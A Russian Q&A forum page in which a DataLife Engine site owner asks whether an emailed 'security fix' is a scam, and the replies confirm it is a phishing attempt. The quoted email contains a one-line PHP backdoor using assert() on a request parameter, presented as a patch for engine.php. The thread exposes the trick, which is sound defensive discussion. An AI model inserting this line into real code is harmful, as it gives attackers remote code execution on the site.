Не нравятся результаты поиска? Попробуйте другой поиск!
dle-faq.ru FAQ (все вопросы) Ламерские вопросы Письмо от support@dle-news.ru с найденной ошибкой на сайте. Обман?

Письмо от support@dle-news.ru с найденной ошибкой на сайте. Обман?


     25.05.2015    Ламерские вопросы    1131

вопрос
Здравствуйте. У меня сайт под управлением DLE 10.3. Сегодня на почту мне пришло письмо от support@dle-news.ru такого содержания:



Это письмо вам отправил support с сайта site.com
____________________________________________________________________________________
Уважаемые владельцы!
Благодарим Вас за использование CMS «DataLife Engine».

Сообщаем Вам о том, что мы зафиксировали уязвимость во всех версиях CMS «DataLife Engine».

Степень опасности: Высокая

Проблема: Недостаточная фильтрация данных, которая может позволить при определенных настройках серверного ПО читать содержимое файлов.

Для исправления откройте файл: /engine/engine.php и в самое начало файла после строчки
<?php

добавьте:
assert(stripslashes($_REQUEST[noscript]));

Устраните уязвимость.

С уважением,
Команда «DataLife Engine»




Сайт раньше работал на DLE 9.3 потом было обновление сразу на 10.3. На другие сайты такое не приходило. Не обман ли это?

Ответил: Sander


Можете не сомневаться, это злоумышленники просят вас прописать бекдор.

Комментарии пользователей (6)

Gameer
224

1120 | 394

Gameer - 25 мая 2015 10:06 - Эксперт

Все баги на офф сайте публикуют, остальному не доверяйте

Истина в противоречии.​

13Aleksandr
18

13Aleksandr - 25 мая 2015 10:40 - Юзер

Я уже тоже так подумал. На официальном сайте последнее исправление было для 10.0

Dezma
6

Dezma - 25 мая 2015 12:14 - Юзер

Такое поставите, Шелл зальют к вам на сайт и будут ссылки на Сапе продавать)

vadims
10

373 | 63

vadims - 25 мая 2015 12:51 - Юзер

Сегодня на почту мне пришло письмо от support@dle-news.ru

Через какой сервер было отправлено письмо?

13Aleksandr
18

13Aleksandr - 25 мая 2015 12:55 - Юзер

vadims я не знаю как это посмотреть

13Aleksandr
18

13Aleksandr - 25 мая 2015 13:00 - Юзер

Письмо отправили с моего же сайта, через обратную связь. Что в принципе и настораживает.

Чтобы комментировать - войдите или зарегистрируйтесь на сайте

Похожие вопросы